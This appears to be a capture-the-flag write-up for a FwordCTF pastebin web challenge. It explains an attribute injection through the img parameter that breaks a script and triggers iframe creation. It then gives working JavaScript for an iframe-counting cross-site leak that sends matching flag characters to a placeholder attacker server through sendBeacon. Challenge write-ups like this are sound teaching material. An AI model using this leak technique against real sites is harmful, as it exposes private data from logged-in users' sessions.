Well as always you have everything good luck :D Typical pastebin chall :-(
tl;dr
use iframe counting cross site leak on /search
to extract the flag byte by byte
Overview
Reading the source code, the flag is stored in a paste owned by the admin.
INSERT INTO `pastes` VALUES ('1a4c2f59a482ebcae1da00cf3a88cebfd42a924367821ad38ff9bd1aZdFgY747','FwordCTF{REDACTED}','kahla');
There is also an admin bot at /report
that logs in and visits the provided url.
Creating a paste with basic xss/HTML injection quickly confirms that that is not the correct route.
/search
The /search
endpoint is used to search for substrings within your pastes. If you have a paste with the text Test
, and you search for Te
, the id of that paste will be displayed on the page.
There are three javascript elements on the page. The most interesting of which is the following (with the value of res
being the result of the query):
var out=document.createElement("div")
try{
out.setAttribute("id","out"+randomId())
}
catch(err){
var res="Result found: QZKZ3MT27Z4FO15U3LMDKFHV5J3HFZOX6S3P3UUX2DG8ER2OS6Q0QDLC0CZRQTCF"
if(res.split(' ')[2]){
var a=document.createElement("iframe")
a.setAttribute("src","https://l33k.fword.tech/view?id="+res.split(' ')[2])
document.body.appendChild(a);
}
}
var res="Result found: QZKZ3MT27Z4FO15U3LMDKFHV5J3HFZOX6S3P3UUX2DG8ER2OS6Q0QDLC0CZRQTCF"
if(res.length >1){
out.textContent=res
document.body.appendChild(out)
}
If out.setAttribute("id","out"+randomId())
errors, and one of the user’s pastes include the query string, then an iframe is created with the contents of the paste.
Creating an error
There are two other script elements on the page. One for appending an image with a given src:
const escape = e => unescape(e).replace(/</g, '[').replace(/>/g, ']');
const url = new URL(location.href);
const image = url.searchParams.get('img') || "/static/search.jpg";
document.write(`<img src="${escape(image)}" />`);
And one for defining the randomId()
function:
function randomId(){
var idint=Math.random()*1e18;
return idint.toString()
}
The img
param is input straight into <img src="${escape(image)}" />
, and only filters <
and >
. Along with the CSP, XSS is not possible. However, a new attribute can be created by supplying an img
param like this: x" x=1
. If the new attribute doesn’t have a value, the following HTML will close the attribute and tag on the next occurences of "
and >
. Supplying the img
param x" x=
will result in the next script element (in which randomId()
is defined) to break.
Now when randomId()
is called, there will be an error as it is never defined.
If the query matches a paste, an iframe of the paste is created.
Creating an exploit
If the page is opened in a window
cross-origin, the contents of the page cannot be read, however the number of iframes open in the window can be. xsleaks.com is a good resource for understanding cross-site leak attacks.
var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%()*+,-./:;<=>?@[\]^`{}_|~';
var flag = 'FwordCTF{';
function testFlag(flag) {
var win = window.open(`https://l33k.fword.tech/search?img=%22%20x=&query=${encodeURIComponent(flag)}`);
// Wait for the page to load
setTimeout(() => {
// Read the number of iframes loaded
if (win.length >= 1) {
navigator.sendBeacon('<MY_SERVER>', flag);
};
}, 30000);
};
for (var i = 0; i < chars.length; i++) {
testFlag(flag + chars.charAt(i));
}
The above javascript will open a window at https://l33k.fword.tech/search
for each character. If the pastes include the query string, an iframe will be created. If an iframe is created, that window will send a request to my server with the query string. This process can be repeated, adding each character to the query, until the full flag is extracted.